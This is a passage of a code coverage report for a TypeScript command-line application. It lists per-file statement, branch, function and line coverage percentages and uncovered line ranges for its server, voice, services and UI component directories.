  ...pace-voice.ts |   91.33 |    80.92 |     100 |   91.33 | ...70-673,676-678 
 src/serve/server  |   91.77 |    89.32 |   96.95 |   91.77 |                   
  access-log.ts    |    98.7 |    97.14 |     100 |    98.7 | 118,189           
  ...er-helpers.ts |   63.82 |    77.96 |   81.81 |   63.82 | ...16,330,332-347 
  ...w-registry.ts |    98.8 |    81.81 |     100 |    98.8 | 107               
  ...r-handlers.ts |   97.29 |       75 |     100 |   97.29 | 17                
  ...r-response.ts |    86.7 |    72.77 |     100 |    86.7 | ...57,774,837-846 
  fs-factory.ts    |     100 |    94.54 |     100 |     100 | 42,103,159        
  ...branch-ops.ts |     100 |      100 |     100 |     100 |                   
  ...list-cache.ts |   99.01 |    95.52 |     100 |   99.01 | 184-185           
  ...t-deadline.ts |     100 |      100 |     100 |     100 |                   
  ...iter-setup.ts |      65 |    73.33 |   33.33 |      65 | 30-35,38-43,47-48 
  ...st-helpers.ts |   95.13 |    95.09 |     100 |   95.13 | ...66-168,423-428 
  self-origin.ts   |   76.19 |       80 |     100 |   76.19 | 45-54             
  ...e-features.ts |      95 |     87.5 |     100 |      95 | 182-188           
  ...on-archive.ts |   89.55 |    87.27 |   97.14 |   89.55 | ...32-836,888-889 
  ...ion-export.ts |     100 |    94.44 |     100 |     100 | 64                
  session-list.ts  |   95.86 |    93.37 |     100 |   95.86 | ...-848,1026-1030 
  telemetry.ts     |   99.04 |    97.44 |     100 |   99.04 | ...37,652,794-796 
 src/serve/voice   |    92.7 |    91.48 |   97.67 |    92.7 |                   
  ...ice-config.ts |   84.81 |       30 |     100 |   84.81 | 91-100,104-105    
  voice-ws.ts      |   91.58 |    93.44 |      96 |   91.58 | ...68,483,521-523 
  ...oordinator.ts |     100 |    98.21 |     100 |     100 | 176               
 ...kspace-service |   90.66 |    87.77 |   91.11 |   90.66 |                   
  index.ts         |   90.14 |    87.08 |   89.74 |   90.14 | ...1466-1470,1473 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/services      |   92.49 |    89.25 |      98 |   92.49 |                   
  ...mandLoader.ts |     100 |    88.88 |     100 |     100 | 105-118           
  ...killLoader.ts |   97.19 |    85.29 |     100 |   97.19 | 142,153-154       
  ...andService.ts |   98.73 |      100 |     100 |   98.73 | 107               
  ...mandLoader.ts |   87.09 |    83.07 |     100 |   87.09 | ...35-340,345-350 
  ...omptLoader.ts |   79.55 |    88.29 |   83.33 |   79.55 | ...48,178,245-246 
  ...mandLoader.ts |   97.77 |    92.15 |     100 |   97.77 | 176,183-184       
  ...nd-factory.ts |   91.42 |    91.66 |     100 |   91.42 | 128,137-144       
  ...ation-tool.ts |     100 |    95.45 |     100 |     100 | 125               
  ...ndMetadata.ts |   98.23 |    96.72 |     100 |   98.23 | 83,87             
  commandUtils.ts  |      96 |     90.9 |     100 |      96 | 48                
  ...and-parser.ts |   90.69 |    85.71 |     100 |   90.69 | 63-66             
  ...ionService.ts |     100 |      100 |     100 |     100 |                   
  prompt-stash.ts  |   96.66 |    92.85 |     100 |   96.66 | 34-35             
  ...tree-lease.ts |   88.23 |    86.84 |     100 |   88.23 | ...94-199,232-233 
  ...low-loader.ts |     100 |    96.15 |     100 |     100 | 88                
  setup-github.ts  |    90.8 |    80.95 |     100 |    90.8 | ...49-450,457-458 
  ...-args-file.ts |   93.93 |    91.66 |    87.5 |   93.93 | 208-210,224-230   
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...e-keyterms.ts |   98.64 |    95.77 |     100 |   98.64 | 116,142-143       
  voice-model.ts   |     100 |      100 |     100 |     100 |                   
  voice-service.ts |    90.4 |    87.87 |     100 |    90.4 | ...81,288,353-358 
  ...e-settings.ts |     100 |    95.23 |     100 |     100 | 19                
  ...ranscriber.ts |   91.77 |    87.11 |   97.22 |   91.77 | ...99-901,904-906 
 ...rvices/insight |     100 |      100 |     100 |     100 |                   
  dates.ts         |     100 |      100 |     100 |     100 |                   
 ...ght/generators |   88.91 |     86.8 |   96.15 |   88.91 |                   
  DataProcessor.ts |   88.28 |    86.77 |   94.73 |   88.28 | ...1362,1366-1373 
  ...tGenerator.ts |   98.24 |    85.71 |     100 |   98.24 | 47                
  ...teRenderer.ts |     100 |      100 |     100 |     100 |                   
 .../insight/types |       0 |       50 |      50 |       0 |                   
  ...sightTypes.ts |       0 |        0 |       0 |       0 |                   
  ...sightTypes.ts |       0 |        0 |       0 |       0 | 1                 
 ...mpt-processors |   97.27 |    94.04 |     100 |   97.27 |                   
  ...tProcessor.ts |     100 |      100 |     100 |     100 |                   
  ...eProcessor.ts |   94.52 |    84.21 |     100 |   94.52 | 46-47,93-94       
  ...tionParser.ts |     100 |      100 |     100 |     100 |                   
  ...lProcessor.ts |   97.41 |    95.65 |     100 |   97.41 | 96-99             
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/services/tips |   97.27 |    84.61 |     100 |   97.27 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  tipHistory.ts    |   92.59 |       70 |     100 |   92.59 | ...24,146,153,162 
  tipRegistry.ts   |     100 |      100 |     100 |     100 |                   
  tipScheduler.ts  |     100 |    91.66 |     100 |     100 | 55                
 src/startup       |   88.99 |    83.47 |    90.9 |   88.99 |                   
  ...p-prefetch.ts |   98.09 |    94.23 |    87.5 |   98.09 | 50,209,225-226    
  ...reeStartup.ts |   80.53 |     74.6 |     100 |   80.53 | ...94,403,409-412 
 src/test-utils    |   94.09 |    79.16 |   77.77 |   94.09 |                   
  ci-env.ts        |      88 |     62.5 |     100 |      88 | 22-23,28          
  ...omMatchers.ts |   69.69 |       50 |      50 |   69.69 | 32-35,37-39,45-47 
  ...mised-lock.ts |     100 |      100 |   66.66 |     100 |                   
  ...andContext.ts |     100 |      100 |     100 |     100 |                   
  render.tsx       |     100 |      100 |     100 |     100 |                   
 src/ui            |   73.24 |    75.58 |   67.39 |   73.24 |                   
  App.tsx          |   33.33 |       75 |   33.33 |   33.33 | 32-86             
  AppContainer.tsx |   74.45 |    72.14 |   69.44 |   74.45 | ...4188,4304-4310 
  ...tionNudge.tsx |    9.58 |      100 |       0 |    9.58 | 24-94             
  ...ackDialog.tsx |    30.3 |      100 |       0 |    30.3 | 26-76             
  ...tionNudge.tsx |    7.69 |      100 |       0 |    7.69 | 25-103            
  colors.ts        |      60 |      100 |   35.29 |      60 | ...52,54-55,60-61 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  keyMatchers.ts   |   95.91 |    97.14 |     100 |   95.91 | 25-26             
  ...tic-colors.ts |     100 |      100 |     100 |     100 |                   
  ...ractiveUI.tsx |   70.51 |       74 |    62.5 |   70.51 | ...09,336,389-394 
  ...inePresets.ts |   96.27 |    83.87 |     100 |   96.27 | ...97,402,410-412 
  textConstants.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/ui/auth       |   58.76 |    66.66 |   51.06 |   58.76 |                   
  AuthDialog.tsx   |   59.01 |     42.1 |   16.66 |   59.01 | ...25,332-354,358 
  ...nProgress.tsx |       0 |        0 |       0 |       0 | 1-64              
  ...etupSteps.tsx |   60.21 |    70.73 |   57.69 |   60.21 | ...90,794,803,806 
  useAuth.ts       |   94.83 |       75 |     100 |   94.83 | ...33-234,253-259 
  ...rSetupFlow.ts |   43.18 |    33.33 |      50 |   43.18 | ...78-399,416-459 
 src/ui/commands   |   83.35 |     83.6 |   89.88 |   83.35 |                   
  aboutCommand.ts  |     100 |      100 |     100 |     100 |                   
  agentsCommand.ts |   83.78 |      100 |      60 |   83.78 | 30-32,42-44       
  ...odeCommand.ts |    93.1 |    95.23 |     100 |    93.1 | 77-82             
  arenaCommand.ts  |   63.89 |    65.71 |   65.21 |   63.89 | ...01-606,691-699 
  authCommand.ts   |     100 |      100 |     100 |     100 |                   
  branchCommand.ts |     100 |      100 |     100 |     100 |                   
  btwCommand.ts    |   94.32 |    81.25 |     100 |   94.32 | 35-36,114-119     
  bugCommand.ts    |     100 |    77.77 |     100 |     100 | 27,61             
  cdCommand.ts     |    92.3 |    82.75 |     100 |    92.3 | ...,94-99,178,187 
  clearCommand.ts  |    80.9 |    70.83 |     100 |    80.9 | ...28-129,137-146 
  ...essCommand.ts |   68.06 |    54.05 |      75 |   68.06 | ...96-197,211-214 
  ...astCommand.ts |   84.17 |       75 |     100 |   84.17 | ...,91-97,125-130 
  ...ig-command.ts |   93.12 |    88.42 |     100 |   93.12 | ...07-315,321-323 
  ...extCommand.ts |   69.07 |     72.6 |   84.61 |   69.07 | ...78-611,622-623 
  copyCommand.ts   |    98.7 |    96.29 |     100 |    98.7 | 66-67,172,272,323 
  ...or-command.ts |   85.95 |    80.55 |   88.88 |   85.95 | ...68-274,298-309 
  deleteCommand.ts |     100 |      100 |     100 |     100 |                   
  diffCommand.ts   |     100 |    87.87 |     100 |     100 | ...63,231-232,245 
  ...ryCommand.tsx |   81.64 |    87.67 |    90.9 |   81.64 | ...73-278,325-332 
  docsCommand.ts   |     100 |     90.9 |     100 |     100 | 25                
  doctorCommand.ts |   70.16 |    84.61 |      95 |   70.16 | ...29-679,682-816 
  dreamCommand.ts  |   85.45 |    88.88 |     100 |   85.45 | 58-65             
  editorCommand.ts |     100 |      100 |     100 |     100 |                   
  ...rt-command.ts |   80.48 |       75 |     100 |   80.48 | 49-54,69-72,93-98 
  effort-utils.ts  |     100 |      100 |     100 |     100 |                   
  exportCommand.ts |   98.25 |    91.02 |     100 |   98.25 | ...81,198-199,364 
  ...onsCommand.ts |   52.31 |    56.25 |   69.23 |   52.31 | ...09,277-329,390 
  forgetCommand.ts |     100 |       90 |     100 |     100 | 59                
  forkCommand.ts   |     100 |    94.11 |     100 |     100 | 96,147            
  goalCommand.ts   |     100 |    96.49 |     100 |     100 | 139,192           
  helpCommand.ts   |     100 |      100 |     100 |     100 |                   
  ...oryCommand.ts |     100 |      100 |     100 |     100 |                   
  hooksCommand.ts  |   81.13 |    65.71 |   85.71 |   81.13 | ...,86-93,131-132 
  ideCommand.ts    |   60.75 |    64.28 |   41.17 |   60.75 | ...05-306,310-324 
  ...figCommand.ts |   52.83 |    81.25 |      70 |   52.83 | ...74-319,321-330 
  initCommand.ts   |   91.86 |       80 |     100 |   91.86 | 48,83-88          
  ...ghtCommand.ts |   77.87 |    71.42 |     100 |   77.87 | ...44-245,250-272 
  ...ageCommand.ts |   94.44 |    90.14 |     100 |   94.44 | ...13-214,241-251 
  learn-command.ts |     100 |      100 |     100 |     100 |                   
  lspCommand.ts    |     100 |    86.95 |     100 |     100 | 31,101-102        
  mcpCommand.ts    |     100 |      100 |     100 |     100 |                   
  memoryCommand.ts |     100 |      100 |     100 |     100 |                   
  modelCommand.ts  |   85.02 |    82.53 |     100 |   85.02 | ...1089,1123-1128 
  ...onsCommand.ts |     100 |      100 |     100 |     100 |                   
  planCommand.ts   |   78.82 |    76.92 |     100 |   78.82 | 30-35,51-56,68-73 
  quitCommand.ts   |     100 |      100 |     100 |     100 |                   
  recapCommand.ts  |   21.81 |      100 |      50 |   21.81 | 24-73             
  ...ns-command.ts |   98.83 |    81.81 |     100 |   98.83 | 100               
  ...berCommand.ts |     100 |     87.5 |     100 |     100 | 46                
  renameCommand.ts |    89.6 |       90 |     100 |    89.6 | ...72-176,212-219 
  ...oreCommand.ts |   90.96 |    86.04 |     100 |   90.96 | ...41-146,177-178 
  resumeCommand.ts |     100 |      100 |     100 |     100 |                   
  rewindCommand.ts |   81.25 |      100 |      50 |   81.25 | 20-22             
  ...ngsCommand.ts |     100 |      100 |     100 |     100 |                   
  ...hubCommand.ts |   89.47 |       75 |      80 |   89.47 | 54-59             
  skillsCommand.ts |   78.82 |    81.81 |     100 |   78.82 | 37-52,78,97       
  statsCommand.ts  |   90.65 |    76.73 |     100 |   90.65 | ...30-733,825-832 
  ...ineCommand.ts |     100 |      100 |     100 |     100 |                   
  ...aryCommand.ts |   73.04 |     82.3 |      90 |   73.04 | ...20-547,561-565 
  tasksCommand.ts  |   77.22 |    72.13 |     100 |   77.22 | ...46-150,172-177 
  ...tupCommand.ts |     100 |      100 |     100 |     100 |                   
  themeCommand.ts  |     100 |      100 |     100 |     100 |                   
  toolsCommand.ts  |     100 |      100 |     100 |     100 |                   
  trustCommand.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...te-command.ts |     100 |    94.11 |     100 |     100 | 74,148            
  vimCommand.ts    |   54.54 |      100 |      50 |   54.54 | 19-29             
  voice-command.ts |   93.57 |       88 |     100 |   93.57 | 35,97-102         
  ...owsCommand.ts |   92.92 |       85 |   66.66 |   92.92 | ...72-177,276-281 
 src/ui/components |   71.96 |    79.54 |   79.56 |   71.96 |                   
  AboutBox.tsx     |     100 |      100 |     100 |     100 |                   
  AnsiOutput.tsx   |   65.57 |      100 |      50 |   65.57 | 69-90             
  ApiKeyInput.tsx  |       0 |        0 |       0 |       0 | 1-97              
  AppHeader.tsx    |    88.7 |       75 |     100 |    88.7 | 36,38-43,45       
  ...odeDialog.tsx |   87.24 |    72.22 |   33.33 |   87.24 | ...85,233-238,245 
  AsciiArt.ts      |     100 |      100 |     100 |     100 |                   
  ...Indicator.tsx |   95.65 |    66.66 |     100 |   95.65 | 27,52             
  ...TextInput.tsx |   88.65 |    90.41 |     100 |   88.65 | ...84-286,300-302 
  Composer.tsx     |   94.49 |    66.66 |     100 |   94.49 | ...-76,88,143,157 
  ...entPrompt.tsx |     100 |      100 |     100 |     100 |                   
  ...ryDisplay.tsx |   75.89 |    62.06 |     100 |   75.89 | ...,88,93-108,113 
  ...geDisplay.tsx |   68.42 |    57.14 |     100 |   68.42 | 16-17,31-32,42-50 
  CronPill.tsx     |     100 |    93.75 |     100 |     100 | 19                
  ...ification.tsx |      84 |       60 |     100 |      84 | 23-24,40-42       
  ...gProfiler.tsx |       0 |        0 |       0 |       0 | 1-36              
  ...ogManager.tsx |       0 |        0 |       0 |       0 | 1-598             
  DiffDialog.tsx   |    53.5 |     37.5 |   69.23 |    53.5 | ...32-737,747-760 
  ...ngsDialog.tsx |       0 |        0 |       0 |       0 | 1-195             
  EffortDialog.tsx |   97.36 |      100 |     100 |   97.36 | 55-56             
  ExitWarning.tsx  |     100 |      100 |     100 |     100 |                   
  ...hProgress.tsx |    87.8 |    33.33 |     100 |    87.8 | 28-31,56          
  ...ustDialog.tsx |     100 |      100 |     100 |     100 |                   
  Footer.tsx       |   81.27 |    69.23 |      50 |   81.27 | ...06,245,267-272 
  ...ngSpinner.tsx |   68.42 |    85.71 |      50 |   68.42 | 35-52,73,80-81    
  GoalPill.tsx     |   93.51 |    81.81 |     100 |   93.51 | 37-38,106-109,123 
  Header.tsx       |   98.65 |    94.73 |     100 |   98.65 | 173,175           
  Help.tsx         |   98.33 |       90 |     100 |   98.33 | ...25,382,448-449 
  ...emDisplay.tsx |   79.28 |    66.99 |     100 |   79.28 | ...08,511,514-520 
  ...ngeDialog.tsx |     100 |      100 |     100 |     100 |                   
  InputPrompt.tsx  |   84.26 |    82.94 |      80 |   84.26 | ...2215,2236,2332 
  ...Shortcuts.tsx |     100 |       88 |     100 |     100 | 98,119            
  ...Indicator.tsx |   98.18 |    97.82 |     100 |   98.18 | 161-162           
  ...firmation.tsx |   91.42 |      100 |      50 |   91.42 | 26-31             
  MainContent.tsx  |   95.58 |    95.06 |   46.15 |   95.58 | ...79,482-486,489 
  MemoryDialog.tsx |   86.59 |    80.15 |     100 |   86.59 | ...34-435,485,553 
  ...geDisplay.tsx |       0 |        0 |       0 |       0 | 1-41              
  ModelDialog.tsx  |   85.22 |    74.08 |     100 |   85.22 | ...1041,1097,1099 
  ...tsDisplay.tsx |     100 |    97.22 |     100 |     100 | 270               
  ...fications.tsx |       0 |        0 |       0 |       0 | 1-56              
  ...onsDialog.tsx |       0 |        0 |       0 |       0 | 1-1004            
  ...ryDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...icePrompt.tsx |   92.64 |    85.71 |     100 |   92.64 | 102-106,134-139   
  PrepareLabel.tsx |   91.66 |    77.27 |     100 |   91.66 | 73-75,77-79,110   
  ...atePrompt.tsx |       0 |        0 |       0 |       0 | 1-134             
  ...geDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...ngDisplay.tsx |       0 |        0 |       0 |       0 | 1-39              
  ...hProgress.tsx |   85.25 |    88.46 |     100 |   85.25 | 121-147           
  ...dSelector.tsx |   92.79 |    82.65 |     100 |   92.79 | ...19-323,354-370 
  ...ionPicker.tsx |   83.66 |    72.13 |     100 |   83.66 | ...96,402,444-466 
  ...onPreview.tsx |   93.58 |    83.78 |     100 |   93.58 | ...,70-71,195-197 
  ...ryDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...putPrompt.tsx |   92.06 |    86.36 |   83.33 |   92.06 | ...,70-72,120-123 
  ...tedDialog.tsx |     100 |      100 |     100 |     100 |                   
  ...ngsDialog.tsx |   71.49 |    73.89 |   69.23 |   71.49 | ...1244,1250-1251 
  ...ionDialog.tsx |    92.3 |    96.15 |   33.33 |    92.3 | 60-63,68-75,164   
  ...putPrompt.tsx |    15.9 |      100 |       0 |    15.9 | 20-63             
  ...Indicator.tsx |   57.14 |      100 |       0 |   57.14 | 12-15             
  ...MoreLines.tsx |       0 |        0 |       0 |       0 | 1-40              
  ...iewDialog.tsx |   97.77 |    87.67 |     100 |   97.77 | ...97,305-307,324 
  ...tsDisplay.tsx |   95.86 |       75 |     100 |   95.86 | 67-71             
  ...ionPicker.tsx |       0 |        0 |       0 |       0 | 1-172             
  ...tivityTab.tsx |    3.94 |      100 |       0 |    3.94 | 27-275            
  StatsDialog.tsx  |    8.64 |      100 |       0 |    8.64 | ...76-111,130-322 
  StatsDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...ciencyTab.tsx |    78.9 |    56.52 |     100 |    78.9 | ...26,213,262-288 
  ...atmapView.tsx |    8.98 |      100 |       0 |    8.98 | 20-107            
  ...essionTab.tsx |      80 |    66.66 |     100 |      80 | ...70-277,283-300 
  ...ineDialog.tsx |    93.9 |    86.88 |     100 |    93.9 | ...20,282,302-304 
  ...yTodoList.tsx |   96.36 |    88.23 |     100 |   96.36 | 138-141           
  ...nsDisplay.tsx |   95.62 |    87.09 |     100 |   95.62 | ...24-125,273-275 
  ...inalImage.tsx |     100 |    93.93 |     100 |     100 | 75,129            
  ThemeDialog.tsx  |   89.95 |    46.15 |      75 |   89.95 | ...71-173,243-245 
  Tips.tsx         |   93.54 |       75 |     100 |   93.54 | 39-40             
  TodoDisplay.tsx  |     100 |      100 |     100 |     100 |                   
  ...tsDisplay.tsx |     100 |     87.5 |     100 |     100 | 31-32             
  TrustDialog.tsx  |     100 |    83.33 |     100 |     100 | 72-87             
  ...ification.tsx |   36.36 |      100 |       0 |   36.36 | 15-22             
  ...Indicator.tsx |    92.5 |     87.5 |     100 |    92.5 | 50-53             
  ...ackDialog.tsx |       0 |        0 |       0 |       0 | 1-134             
  ...xitDialog.tsx |   80.36 |    43.47 |      60 |   80.36 | ...24-238,248-251 
  ...odeVisuals.ts |   97.22 |    85.71 |     100 |   97.22 | 25                
  ...s-helpers.tsx |   66.25 |    81.25 |      50 |   66.25 | 25-32,46-53,62-72 
 ...nts/agent-view |   55.05 |    69.09 |      50 |   55.05 |                   
  ...atContent.tsx |    9.09 |      100 |       0 |    9.09 | 54-275,281-283    
  ...tChatView.tsx |   21.05 |      100 |       0 |   21.05 | 21-39             
  ...tComposer.tsx |   69.48 |    33.33 |   66.66 |   69.48 | ...51,269,277-279 
  AgentFooter.tsx  |   15.38 |      100 |       0 |   15.38 | 28-65             
  AgentHeader.tsx  |   15.38 |      100 |       0 |   15.38 | 27-64             
  AgentTabBar.tsx  |    87.9 |    63.88 |     100 |    87.9 | ...88,110-118,136 
  ...oryAdapter.ts |     100 |    91.83 |     100 |     100 | 103,109-110,138   
  index.ts         |       0 |        0 |       0 |       0 | 1-12              
 ...mponents/arena |    42.3 |    68.69 |   73.68 |    42.3 |                   
  ArenaCards.tsx   |   73.06 |    71.79 |   85.71 |   73.06 | ...83-185,321-326 
  ...ectDialog.tsx |   83.48 |    69.86 |   88.88 |   83.48 | ...88-392,409-410 
  ...artDialog.tsx |       0 |        0 |       0 |       0 | 1-166             
  ...tusDialog.tsx |       0 |        0 |       0 |       0 | 1-288             
  ...topDialog.tsx |       0 |        0 |       0 |       0 | 1-213             
 ...ackground-view |   85.34 |    84.91 |   92.98 |   85.34 |                   
  ...sksDialog.tsx |   81.87 |    82.77 |   85.71 |   81.87 | ...1853,1965-1971 
  ...TasksPill.tsx |   78.84 |    94.28 |     100 |   78.84 | 64,109-129        
  ...gentPanel.tsx |   97.08 |    86.31 |     100 |   97.08 | 132,442-446,520   
  agent-forest.ts  |    99.2 |    93.93 |     100 |    99.2 | 258               
  ...Visibility.ts |     100 |      100 |     100 |     100 |                   
  ...e-overlay.tsx |    88.2 |    76.47 |     100 |    88.2 | ...36-138,140-142 
 ...nts/extensions |   84.32 |    76.78 |   83.33 |   84.32 |                   
  ...gerDialog.tsx |   82.15 |    76.08 |     100 |   82.15 | ...91-198,258,260 
  TabBar.tsx       |   97.29 |    88.88 |     100 |   97.29 | 33                
  index.ts         |       0 |        0 |       0 |       0 | 1-12              
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...tensions/steps |   46.26 |       85 |   58.82 |   46.26 |                   
  ...ctionStep.tsx |   95.12 |    92.85 |   85.71 |   95.12 | 84-86,89          
  ...etailStep.tsx |       0 |        0 |       0 |       0 | 1-145             
  ...nListStep.tsx |   75.26 |    88.37 |   66.66 |   75.26 | ...53,174,203-209 
  ...electStep.tsx |       0 |        0 |       0 |       0 | 1-83              
  ...nfirmStep.tsx |   16.32 |      100 |       0 |   16.32 | 28-74             
  index.ts         |       0 |        0 |       0 |       0 | 1-11              
 ...xtensions/tabs |   71.92 |    68.21 |   70.83 |   71.92 |                   
  DiscoverTab.tsx  |   68.22 |    67.66 |   55.55 |   68.22 | ...93,656-660,664 
  InstalledTab.tsx |   75.49 |    67.44 |   83.33 |   75.49 | ...77,782-783,820 
  SourcesTab.tsx   |   71.67 |    70.47 |   77.77 |   71.67 | ...28,547,621-633 
 ...tensions/views |    50.7 |    52.38 |   20.83 |    50.7 |                   
  ...tionsView.tsx |   73.75 |    56.36 |   66.66 |   73.75 | ...30,353,369-374 
  ...tionsView.tsx |   43.45 |    44.82 |    6.66 |   43.45 | ...98-405,408-420 
  ...etailView.tsx |    9.24 |      100 |       0 |    9.24 | 40-67,70-163      
 ...mponents/hooks |   87.11 |    81.37 |   91.89 |   87.11 |                   
  ...rListBody.tsx |   95.29 |    85.18 |     100 |   95.29 | 95-98             
  ...etailStep.tsx |   75.32 |    71.42 |      60 |   75.32 | ...56-169,173-186 
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...rListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...entHeader.tsx |     100 |    85.71 |     100 |     100 | 47                
  ...rListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...abledStep.tsx |     100 |      100 |     100 |     100 |                   
  ...sListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...entDialog.tsx |   72.29 |    70.49 |     100 |   72.29 | ...51,563-568,572 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-13              
  ...erGrouping.ts |     100 |      100 |     100 |     100 |                   
  sourceLabels.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...components/mcp |   40.91 |    63.44 |   70.58 |   40.91 |                   
  ...ealthPill.tsx |     100 |      100 |     100 |     100 |                   
  ...entDialog.tsx |   32.09 |    26.19 |      40 |   32.09 | ...12,914,927-933 
  ...valDialog.tsx |   15.06 |      100 |       0 |   15.06 | 40-109            
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-35              
  types.ts         |     100 |      100 |     100 |     100 |                   
  utils.ts         |      97 |       95 |     100 |      97 | 24,113-114        
 ...ents/mcp/steps |   53.94 |    73.51 |   57.14 |   53.94 |                   
  ...icateStep.tsx |    5.65 |      100 |       0 |    5.65 | 40-66,69-308      
  ...electStep.tsx |   10.95 |      100 |       0 |   10.95 | 16-88             
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...eListStep.tsx |   99.09 |    97.36 |     100 |   99.09 | 71                
  ...etailStep.tsx |   62.83 |       60 |   33.33 |   62.83 | ...87-296,307-332 
  ...rListStep.tsx |   88.53 |    81.25 |     100 |   88.53 | ...64,170,175-180 
  ...etailStep.tsx |    10.3 |      100 |       0 |    10.3 | ...1,67-79,82-140 
  ToolListStep.tsx |   69.29 |       50 |     100 |   69.29 | ...23,126,135-144 
 ...nents/messages |   90.26 |    86.89 |   85.57 |   90.26 |                   
  ...ionDialog.tsx |   89.23 |     84.9 |   81.81 |   89.23 | ...75,593,611-613 
  BtwMessage.tsx   |     100 |      100 |     100 |     100 |                   
  ...upDisplay.tsx |     100 |    94.73 |     100 |     100 | ...43,289,402,432 
  ...onMessage.tsx |   92.06 |    82.35 |     100 |   92.06 | 58-60,62,64       
  ...nMessages.tsx |   94.11 |    95.91 |   76.92 |   94.11 | ...47-349,352-355 
  DiffRenderer.tsx |   93.17 |    86.02 |     100 |   93.17 | ...07,235-236,302 
  ...tsDisplay.tsx |   97.08 |    77.77 |     100 |   97.08 | 95,97,106         
  ...usMessage.tsx |   81.73 |     65.9 |      75 |   81.73 | ...10-214,222,245 
  ...tsDisplay.tsx |   95.52 |    88.31 |     100 |   95.52 | ...40,142,175-180 
  ...ssMessage.tsx |    12.5 |      100 |       0 |    12.5 | 18-59             
  ...edMessage.tsx |   21.05 |      100 |       0 |   21.05 | 23-39             
  ...sMessages.tsx |   59.04 |       50 |    37.5 |   59.04 | ...21-126,147-159 
  ...ryMessage.tsx |   13.63 |      100 |       0 |   13.63 | 23-64             
  ...onMessage.tsx |   91.87 |    82.63 |     100 |   91.87 | ...49-651,658-660 
  ...upMessage.tsx |   98.38 |    95.38 |     100 |   98.38 | 188-191,422       
  ToolMessage.tsx  |   93.06 |    86.32 |   93.75 |   93.06 | ...1037,1082-1084 
 ...ponents/shared |   86.29 |     82.4 |   94.17 |   86.29 |                   
  ...ctionList.tsx |     100 |      100 |      75 |     100 |                   
  ...tonSelect.tsx |     100 |      100 |     100 |     100 |                   
  EnumSelector.tsx |     100 |    96.42 |     100 |     100 | 58                
  ...rBoundary.tsx |     100 |      100 |     100 |     100 |                   
  MaxSizedBox.tsx  |   84.71 |    86.86 |      90 |   84.71 | ...67-568,685-686 
  MultiSelect.tsx  |   93.58 |       75 |     100 |   93.58 | ...43,199-201,211 
  ...tonSelect.tsx |     100 |      100 |     100 |     100 |                   
  ...ontroller.tsx |     100 |    83.33 |     100 |     100 | 73,93-95          
  ...eSelector.tsx |     100 |       60 |     100 |     100 | 40-45             
  ...lableList.tsx |   81.48 |    84.84 |     100 |   81.48 | 46-66,73-76       
  StaticRender.tsx |     100 |      100 |     100 |     100 |                   
  TextInput.tsx    |    80.8 |    67.24 |      80 |    80.8 | ...36-240,252-258 
  ...ontroller.tsx |     100 |    81.81 |     100 |     100 | 59-62             
  ...apsedTime.tsx |     100 |      100 |     100 |     100 |                   
  ...Indicator.tsx |     100 |      100 |     100 |     100 |                   
  ...lizedList.tsx |   91.49 |    86.66 |   83.33 |   91.49 | ...18-846,859,959 
  text-buffer.ts   |   85.98 |    81.81 |   97.91 |   85.98 | ...2664,2762-2763 
  ...er-actions.ts |   73.93 |    67.22 |     100 |   73.93 | ...32-733,934-936 
 ...ponents/skills |       0 |        0 |       0 |       0 |                   
  ...gerDialog.tsx |       0 |        0 |       0 |       0 | 1-681             
 ...ents/subagents |       0 |        0 |       0 |       0 |                   
  constants.ts     |       0 |        0 |       0 |       0 | 1-71              
  index.ts         |       0 |        0 |       0 |       0 | 1-11              
  reducers.tsx     |       0 |        0 |       0 |       0 | 1-190             
  types.ts         |       0 |        0 |       0 |       0 | 1-125             
  utils.ts         |       0 |        0 |       0 |       0 | 1-102             
 ...bagents/create |       0 |        0 |       0 |       0 |                   
  ...ionWizard.tsx |       0 |        0 |       0 |       0 | 1-299             
  ...rSelector.tsx |       0 |        0 |       0 |       0 | 1-85              
  ...onSummary.tsx |       0 |        0 |       0 |       0 | 1-331             
  ...tionInput.tsx |       0 |        0 |       0 |       0 | 1-177             
  ...dSelector.tsx |       0 |        0 |       0 |       0 | 1-63              
  ...nSelector.tsx |       0 |        0 |       0 |       0 | 1-58              
  ...EntryStep.tsx |       0 |        0 |       0 |       0 | 1-78              
  ToolSelector.tsx |       0 |        0 |       0 |       0 | 1-253             
 ...bagents/manage |   14.14 |    53.19 |    37.5 |   14.14 |                   
  ...ctionStep.tsx |       0 |        0 |       0 |       0 | 1-103             
  ...eleteStep.tsx |       0 |        0 |       0 |       0 | 1-62              
  ...tEditStep.tsx |       0 |        0 |       0 |       0 | 1-124             
  ...ctionStep.tsx |   35.61 |    59.52 |     100 |   35.61 | ...21-433,438-440 
  ...iewerStep.tsx |       0 |        0 |       0 |       0 | 1-73              
  ...gerDialog.tsx |       0 |        0 |       0 |       0 | 1-341             
 ...mponents/views |    70.1 |    72.89 |   61.11 |    70.1 |                   
  ContextUsage.tsx |   71.49 |    64.86 |      80 |   71.49 | ...30-436,473-567 
  DoctorReport.tsx |     9.8 |      100 |       0 |     9.8 | 25-54,57-131      
  ...sionsList.tsx |   88.05 |       75 |     100 |   88.05 | 70-77             
  McpStatus.tsx    |   92.01 |     73.8 |     100 |   92.01 | ...36,175-177,262 
